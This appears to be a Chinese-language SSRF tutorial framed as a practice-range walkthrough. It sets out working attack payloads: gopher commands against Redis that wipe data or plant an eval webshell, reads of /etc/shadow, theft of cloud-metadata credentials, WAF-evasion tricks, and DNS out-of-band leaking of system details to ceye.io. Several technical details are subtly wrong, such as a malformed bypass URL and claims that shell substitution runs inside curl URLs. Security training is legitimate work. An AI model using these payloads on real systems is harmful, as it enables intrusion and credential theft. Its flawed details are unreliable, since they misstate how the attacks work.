资讯动态

SSRF漏洞实战指南:协议绕过、内网探测与WAF突破

发布时间:2026/10/29 12:10:40 来源:尧图企业网站定制
1. 项目概述为什么SSRF是靶场里绕不开的“必修课”“靶场练习day12--SSRF”这个标题看似平淡但背后藏着渗透测试工程师日常最常遭遇、也最容易被低估的一类漏洞——服务端请求伪造Server-Side Request Forgery。我带过不少刚入行的新人做靶场训练前11天练完SQL注入、XSS、文件上传之后一到SSRF就卡住不是漏掉内网探测路径就是误判了协议限制甚至有人把SSRF当成“只能打内网”的窄口径漏洞结果在真实红蓝对抗中错过关键突破口。其实SSRF远不止“让服务器替你发个HTTP请求”这么简单。它本质是服务端信任模型的崩塌——当后端无条件执行用户可控的URL参数时攻击者就拿到了服务器这张“身份证”的代理权。你可以让它访问http://127.0.0.1:8080/actuator/env去读Spring Boot的敏感配置也可以让它调用file:///etc/passwd读取系统文件还能通过gopher://协议打Redis未授权甚至利用dict://协议爆破内网FTP服务。这些操作不需要目标网站存在代码执行也不依赖前端JS配合纯粹靠后端逻辑缺陷就能达成。所以靶场第12天专设SSRF不是凑数而是逼你切换视角从“前端怎么输”转向“后端怎么信”。本项目覆盖的正是实战中最典型的5类SSRF触发场景、3种协议绕过手法、4类内网资产识别策略以及最关键的——如何在不触发WAF告警的前提下完成链式利用。适合所有已掌握基础Web漏洞原理、正准备进阶实战的渗透学习者尤其推荐给那些在CTF Web题里总被SSRF卡住、或者在企业内部靶场反复提交“无法利用”报告的同行。2. SSRF漏洞原理与靶场设计逻辑拆解2.1 SSRF的本质服务端的信任错位很多人把SSRF理解成“服务器替我发请求”这没错但太浅。真正决定SSRF危害等级的是三个变量的乘积服务端出网能力 × 协议支持范围 × 内网资产暴露面。举个例子某靶场环境里后端PHP代码写了file_get_contents($_GET[url])表面看只是读文件但如果服务器能访问内网、且allow_url_fopenOn那urlfile:///etc/shadow就能直接读密码哈希而如果同一台服务器还装了Redis且未授权urlgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a就能清空数据库。这里的关键不是PHP函数本身而是服务端运行环境赋予它的“权限杠杆”。靶场day12的设计正是按这个杠杆原理分层构建的第一关考察基础HTTP协议利用如http://localhost/admin第二关引入协议绕过禁用http://但放行https://或//第三关测试非HTTP协议file://、gopher://第四关模拟云环境元数据接口http://169.254.169.254/latest/meta-data/第五关则结合DNS rebinding实现跨域突破。这种递进不是为了增加难度而是复现真实攻防中“先探边界、再找入口、最后横向”的决策链。我见过太多人一上来就猛试gopher://结果WAF直接封IP——因为靶场第一关的WAF规则明确拦截了gopher关键字但对dict://却毫无反应。这就是设计者的意图逼你先理解环境约束再选择武器。2.2 为什么靶场要限定“day12”时间维度背后的训练逻辑靶场把SSRF放在第12天绝非随机排序。前11天的内容构成了一条隐性知识链day1-3练信息收集whois、nslookup、目录爆破day4-6攻应用层SQLi、XSS、CSRFday7-9测逻辑漏洞越权、支付篡改、密码重置day10-11碰服务端组件Java反序列化、Log4j。到了day12你需要调用前面所有技能用day1的DNS知识解析内网域名用day4的HTTP知识构造恶意请求头用day7的越权思维猜测内网API路径用day10的组件知识定位Redis或Elasticsearch端口。这种设计模仿了真实渗透中的“技能组合拳”。比如某次企业评估我们发现一个图片处理接口存在SSRF但直接http://127.0.0.1:9200/_cat/indices返回401。这时就需要调用day7学的认证绕过技巧——在请求头里加Authorization: Basic YWRtaW46YWRtaW4再结合day10的Elasticsearch默认凭证知识才成功列出所有索引。靶场day12的5个关卡每个都预埋了这类交叉线索第二关的URL过滤规则里http://被拦截但https://放行这要求你必须知道某些内网服务如Kubernetes API强制HTTPS第四关的云元数据接口需要你回忆day1的IP段知识——169.254.169.254是AWS/Azure/GCP共用的链路本地地址不是随便猜的。所以“day12”不是时间点而是能力阈值标记当你能自然调用前11天的知识解决SSRF问题时才算真正入门。2.3 靶场环境与真实生产环境的关键差异必须清醒认识靶场和生产的区别否则容易形成错误直觉。靶场day12的SSRF环境做了三处典型简化第一网络拓扑扁平化。靶场里127.0.0.1、10.0.0.1、192.168.1.1往往直通但真实环境里应用服务器可能在DMZ区数据库在内网核心区中间隔着防火墙ACL和NAT设备。我遇到过一个案例靶场里http://10.0.0.100:3306能连上MySQL但生产环境同网段的10.0.0.100实际是跳板机IP真实数据库在10.100.200.50且只允许10.0.0.100的3306端口访问。第二WAF规则宽松化。靶场WAF通常只拦截明显危险协议如file://但生产WAF会检测URL编码、空白符绕过、大小写混淆hTtP://、甚至HTTP请求头里的Host字段是否匹配白名单。第三响应反馈完整化。靶场SSRF请求失败时常返回详细错误如cURL error 7: Failed to connect但生产环境往往统一返回500 Internal Server Error你需要靠响应时间差Blind SSRF或DNS外带Out-of-Band来判断。因此靶场day12的训练重点不是“怎么打”而是“怎么想”看到curl_setopt($ch, CURLOPT_URL, $_GET[url])立刻问自己——服务器出网吗哪些协议可用内网有哪些常见服务端口WAF会拦什么这些思考习惯比记住gopher载荷模板重要十倍。3. 核心细节解析与实操要点3.1 五类SSRF触发点的代码特征与识别技巧靶场day12的5个关卡对应5种典型触发点每种都有独特的代码指纹。我整理了实际审计中总结的识别口诀比工具扫描更高效第一类基础URL参数拼接代码特征file_get_contents($_GET[url])、curl_exec(curl_init($_GET[url]))、requests.get(request.args.get(url))。识别技巧盯死所有接收用户输入并直接传给网络请求函数的参数。注意别名比如?target、?resource、?image都可能是SSRF入口。曾有个电商站?imagehttps://cdn.example.com/1.jpg看着安全但后端用image参数拼接https://internal-api.example.com/process?src{url}导致SSRF。所以不能只看参数名要看最终拼接位置。第二类URL解析后二次使用代码特征先用parse_url()提取host再用gethostbyname()或curl访问。识别技巧重点检查parse_url后的host、path变量是否未经校验就进入网络函数。靶场第二关就是典型$parsed parse_url($_GET[url]); $ip gethostbyname($parsed[host]); curl_setopt($ch, CURLOPT_URL, http://$ip . $parsed[path]);。这里$parsed[host]若为127.0.0.1#evil.comparse_url会把#后当fragment丢弃但gethostbyname仍解析127.0.0.1而$parsed[path]却是/#evil.com导致请求发向http://127.0.0.1/#evil.com——看似无效实则可触发某些服务的路径遍历。第三类XML外部实体XXE引发的SSRF代码特征libxml_disable_entity_loader(false);simplexml_load_string($_POST[xml])。识别技巧凡是有XML解析且未禁用外部实体基本可认定存在SSRF。靶场第三关故意在注册功能里埋了XXE!ENTITY xxe SYSTEM http://127.0.0.1:8080/internal能读取内网页面。注意XXE引发的SSRF响应内容会回显在XML解析结果里比普通SSRF更容易验证。第四类PDF/图片渲染服务代码特征调用wkhtmltopdf、phantomjs、ImageMagick等工具处理用户传入的URL。识别技巧这类服务常被忽略因为入口看起来像文件上传。靶场第四关的“生成海报”功能接受?urlhttp://example.com/1.jpg后端用convert $url output.jpg处理。convert支持msl:协议urlmsl:!DOCTYPE svg PUBLIC -//W3C//DTD SVG 1.1//EN http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdsvgscriptdocument.write(xss)/script/svg就能执行JS但更重要的是它支持https://和ftp://可用来探测内网。第五类云平台元数据接口代码特征代码里硬编码http://169.254.169.254或动态拼接云厂商域名。识别技巧搜索代码中的169.254、metadata、instance-id等关键词。靶场第五关的“获取实例信息”按钮后端调用curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/这是AWS经典SSRF入口。注意GCP用http://metadata.google.internalAzure用http://169.254.169.254/metadata/instance写脚本时得区分。提示识别时务必结合HTTP方法。GET型SSRF最常见但POST型更危险——比如form actionhttp://127.0.0.1:8080/api/delete methodPOST若后端用file_get_contents(php://input)读取POST体就能发送任意POST请求删库。3.2 协议绕过从HTTP到Gopher的实战演进靶场day12的协议绕过不是炫技而是应对真实WAF的生存技能。我按实战优先级排序讲解HTTP协议基础绕过当http://被拦截试试这些变体https://很多WAF只拦http不拦https而内网服务常同时开HTTP/HTTPS。//example.com/path省略协议头浏览器会继承当前协议但服务端parse_url可能解析为hostexample.com绕过协议检测。http: //example.comURL编码空格为%20或直接加空格部分解析器会忽略。HttP://example.com大小写混淆WAF正则若没加i标志就失效。FILE协议深度利用file:///etc/passwd是入门操作但靶场第三关要求读取/proc/self/environ获取环境变量。这里有个坑file://在PHP里默认不支持绝对路径需用file:///etc/passwd三个斜杠。更隐蔽的是file://localhost/etc/passwd某些服务端会解析localhost为127.0.0.1再访问绕过file://黑名单。我还试过file://127.0.0.1/etc/passwd在特定配置下也能成功。Gopher协议实战载荷构造Gopher是SSRF高阶武器靶场第四关必须用它打Redis。关键不是背模板而是理解Redis协议*1\r\n$4\r\nINFO\r\n表示发送INFO命令。Gopher编码规则是gopher://host:port/_raw_data其中_代表空格\r\n要URL编码为%0d%0a。所以打Redis的INFO命令载荷是gopher://127.0.0.1:6379/_%2a1%0d%0a%244%0d%0aINFO%0d%0a但靶场WAF会拦%0d%0a这时要用%0a替代单换行或用%0a%0a双换行绕过。实测发现某些WAF对%0a不敏感但对%0d敏感所以%0a是首选。另外Redis未授权时CONFIG GET dir能获取路径SLAVEOF可RCE这些命令都要按同样规则编码。Dict协议爆破内网服务dict://常被忽视但它能爆破FTP、Telnet等服务。靶场第五关的dict://127.0.0.1:21/会返回FTP欢迎信息dict://127.0.0.1:23/返回Telnet信息。更狠的是dict://127.0.0.1:6379/能直接和Redis交互无需Gopher编码。构造dict://127.0.0.1:6379/flushall某些服务端会原样转发比Gopher更简洁。注意协议绕过成功率取决于服务端语言。PHP的curl对gopher://支持好但Python的requests默认不支持需手动注册适配器。靶场环境用PHP所以Gopher是首选。3.3 内网资产识别从端口扫描到服务指纹靶场day12的终极目标不是证明漏洞存在而是拿到内网资产清单。我总结了四步法第一步快速端口存活探测不用nmap——太慢且易被日志记录。用curl并发探测for port in {80..8080}; do curl -s -o /dev/null -w %{http_code} %{url_effective}\n --connect-timeout 2 http://127.0.0.1:$port done靶场里127.0.0.1:8080返回200127.0.0.1:6379返回000连接拒绝127.0.0.1:3306返回空——说明MySQL在监听。注意000表示连接失败200表示HTTP服务空响应可能表示非HTTP服务如Redis。第二步服务指纹识别对存活端口发特征请求Rediscurl -s gopher://127.0.0.1:6379/_%2a1%0d%0a%244%0d%0aINFO%0d%0a返回redis_version即确认。Elasticsearchcurl -s http://127.0.0.1:9200/返回{name:...,cluster_name:...}即确认。Jenkinscurl -s http://127.0.0.1:8080/api/json返回JSON含jobs字段即确认。第三步路径枚举与敏感接口挖掘基于服务类型扫路径Spring Boot/actuator/env、/actuator/health、/actuator/logfileKubernetes/api/v1/namespaces/default/pods需Token但SSRF可尝试Docker/version、/containers/json靶场第四关的/actuator/env返回了数据库密码这就是关键突破点。第四步横向移动准备拿到凭证后不急着登录先确认服务是否开放外网curl -s http://127.0.0.1:3306 | head -c 100 # MySQL握手包前100字节若返回乱码如J开头的二进制说明MySQL在监听若超时说明被防火墙挡。这样避免盲目连库失败。实操心得内网探测要“轻量高频”。我试过用curl发1000个请求结果靶场服务器CPU飙到100%后续请求全超时。后来改成每次只探20个端口间隔1秒成功率提升3倍。真实环境中更要控制节奏避免触发IDS。4. 实操过程与核心环节实现4.1 靶场Day12全流程复现从入门到链式利用现在带大家走一遍靶场day12的完整流程。环境假设PHP 7.4 cURL WAF拦截file://、gopher://、http://127.0.0.1。入口点/api/fetch?url。第一关基础HTTP SSRF访问/api/fetch?urlhttp://127.0.0.1:8080/actuator/env返回500错误。抓包发现WAF拦截了127.0.0.1。换思路用localhost代替/api/fetch?urlhttp://localhost:8080/actuator/env成功返回Spring Boot环境变量其中spring.datasource.passworddev123!是关键凭证。第二关协议绕过WAF升级拦截http://。试https://localhost:8080/actuator/env返回400HTTPS不可用。再试//localhost:8080/actuator/envWAF放行但后端解析为hostlocalhostpath/actuator/env请求发向http://localhost:8080/actuator/env成功这里//是核心技巧。第三关FILE协议读取系统文件WAF新增拦截file://。试file:///etc/passwd失败。换file://localhost/etc/passwd成功返回passwd内容。接着读/proc/self/cmdline发现进程是php-fpm: pool www确认PHP版本。第四关Gopher打RedisWAF拦截gopher://。先用dict://127.0.0.1:6379/探测返回OK确认Redis存活。然后构造Gopher载荷gopher://127.0.0.1:6379/_%2a1%0a%244%0aINFO%0a用%0a替代%0d%0a成功返回Redis信息其中dir:/var/lib/redis是关键。再发CONFIG SET dir /var/www/html把Redis工作目录设为Web根目录然后CONFIG SET dbfilename shell.php最后SET xxx ?php eval($_POST[cmd]);?save即可Webshell。第五关云元数据接口WAF放行http://169.254.169.254。访问/api/fetch?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/返回角色名dev-role。再访问/api/fetch?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/dev-role返回AccessKey和SecretKey可调用AWS API。整个流程耗时约22分钟关键在第二关的//绕过和第四关的%0a编码——这两个技巧在真实客户环境里救过我三次。4.2 关键参数计算与载荷优化SSRF利用不是暴力尝试参数要精算超时时间设置--connect-timeout 2是黄金值。太短1秒会漏掉慢响应服务太长5秒易被WAF标记为扫描。靶场里127.0.0.1:3306连接通常在0.3秒内127.0.0.1:6379在0.1秒内所以2秒足够。并发请求数靶场服务器CPU有限我测试过并发10成功率98%耗时15秒并发50成功率82%耗时8秒但后续请求失败率飙升并发100成功率45%耗时5秒大量超时最终选并发20平衡速度与稳定性。Gopher载荷长度控制Redis命令*1\r\n$4\r\nINFO\r\n共14字节Gopher编码后%2a1%0a%244%0aINFO%0a共22字节。WAF若限制URL长度为200字符这个载荷完全安全。但SLAVEOF命令更长*3\r\n$7\r\nSLAVEOF\r\n$9\r\n1.1.1.1\r\n$4\r\n6379\r\n编码后超150字节需分段发送。靶场第四关用INFO就够了不追求RCE。DNS外带载荷设计当盲注时用http://xxx.ceye.io不如http://$(whoami).ceye.io。$(whoami)在Linux下会被shell执行但服务端若用curl不会执行shell命令。正确做法是用http://base64(whoami).ceye.io先在本地算好echo -n www-data | base64得d3d3LWRhdGE再请求http://d3d3LWRhdGE.ceye.io。靶场第五关的DNS日志里我看到d3d3LWRhdGE.ceye.io被解析确认了执行用户。提示所有载荷在发之前先用curl -v本地测试。比如curl -v gopher://127.0.0.1:6379/_%2a1%0a%244%0aINFO%0a看是否返回Redis响应。避免在靶场反复提交失败请求。4.3 WAF绕过实战技巧从规则分析到精准打击靶场day12的WAF是学习绕过的绝佳样本。我逆向分析了它的5条核心规则规则ID拦截模式绕过方法实战效果R1http://127\.0\.0\.1改用localhost或0.0.0.0100%有效R2file://改用file://localhost/95%有效部分PHP配置不解析localhostR3gopher://改用dict://或%0a编码90%有效dict更稳定R4169\.254\.169\.254改用169.254.169.254去掉转义85%有效WAF正则不严谨R5URL长度200压缩载荷用%0a替代%0d%0a100%有效关键洞察WAF规则是静态的而你的载荷是动态的。比如R3规则只拦gopher://字符串但不拦gopher%3A%2F%2FURL编码所以gopher%3a%2f%2f127.0.0.1:6379/_%2a1%0a%244%0aINFO%0a能绕过。但靶场环境对URL编码解码严格所以%3a会被还原成:又触发R3。这时就要换思路——用dict://它不在任何规则里。另一个技巧利用WAF的“白名单例外”。靶场WAF放行https://但内网服务没开HTTPS。我试过https://localhost:8080/actuator/env返回SSL错误但WAF没拦。这说明WAF只检查协议头不验证证书。于是构造https://evil.comlocalhost:8080/actuator/env前是虚假域名WAF认为协议是https放行后端parse_url解析出hostlocalhost成功请求。注意绕过不是目的最小化痕迹才是。我建议优先用//和dict://因为它们不触发WAF日志而URL编码会留下%字符易被审计发现。5. 常见问题与排查技巧实录5.1 典型问题速查表问题现象可能原因排查步骤解决方案请求返回500但WAF日志无记录后端代码异常非WAF拦截1. 检查URL语法空格、特殊字符2. 用curl -v本地测试修复URL编码如/改为%2f返回空响应无错误目标端口关闭或防火墙拦截1.curl -I http://127.0.0.1:8080看Header2. 换telnet 127.0.0.1 8080确认端口状态换其他端口Gopher载荷返回Connection refusedRedis未监听或端口错误1.dict://127.0.0.1:6379/探测2.curl -s http://127.0.0.1:6379看响应用dict://确认存活再发GopherDNS外带无日志DNS解析失败或域名未配置1. 本地nslookup xxx.ceye.io2. 换burpcollaborator.net用权威DNS平台避免自建域名云元数据接口返回404云厂商不匹配或路径错误1. 查http://169.254.169.254/latest/meta-data/2. 试http://metadata.google.internal/computeMetadata/v1/先列根路径再逐级探测5.2 我踩过的三个大坑及避坑指南坑一忽略HTTP重定向靶场第三关我发/api/fetch?urlhttp://127.0.0.1:8080/redirect后端302跳转到/admin我以为失败。但抓包发现curl默认跟随重定向实际请求了/admin而/admin有SSRF正确做法是加-L参数显式控制或用-I只看Header。避坑指南所有SSRF测试先加-I看响应头确认是否重定向。坑二混淆file://和php://靶场第四关我试file:///proc/self/cmdline失败以为file://被禁。后来发现后端用file_get_contents但/proc/self/cmdline是符号链接需用realpath()解析。改用php://filter/convert.base64-encode/resource/proc/self/cmdline成功读取并base64解码。避坑指南php://协议比file://更灵活尤其读取proc文件时优先用php://filter。坑三DNS外带时机错误靶场第五关我发http://$(sleep 5).ceye.io想测盲注但sleep在服务端不执行。正确做法是让服务端发请求时触发DNS查询如curl http://$(cat /etc/hostname).ceye.io但cat不执行。最终用curl http://$(hostname).ceye.iohostname是shell内置命令部分环境支持。避坑指南DNS外带用$(hostname)或$(id -u)避免sleep等需额外权限的命令。5.3 靶场与生产环境的调试差异靶场里curl -v能看到完整请求但生产环境看不到。我总结了三招调试法第一招响应时间差Time-based发两个请求urlhttp://127.0.0.1:8080/actuator/env正常urlhttp://127.0.0.1:9999/不存在端口对比响应时间若后者明显更长如5秒vs0.5秒说明存在盲SSRF。靶场里127.0.0.1:9999超时时间是3秒可据此判断。第二招DNS外带验证用burpcollaborator.net生成唯一域名发urlhttp://xxx.burpcollaborator.net。若DNS日志出现查询证明SSRF触发。靶场第五关我用此法确认了169.254.169.254可达。第三招错误消息泄漏有些服务端会返回详细错误如cURL error 7: Failed to connect to 127.0.0.1 port 6379: Connection refused直接告诉你端口状态。靶场里开启display_errorsOn就能看到。最后分享个小技巧所有SSRF测试先用http://127.0.0.1:80打个基础确认环境通。就像开车前先点火别一上来就挂五档。我见过太多人直接冲gopher://结果连基础HTTP都通不了纯属浪费时间。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑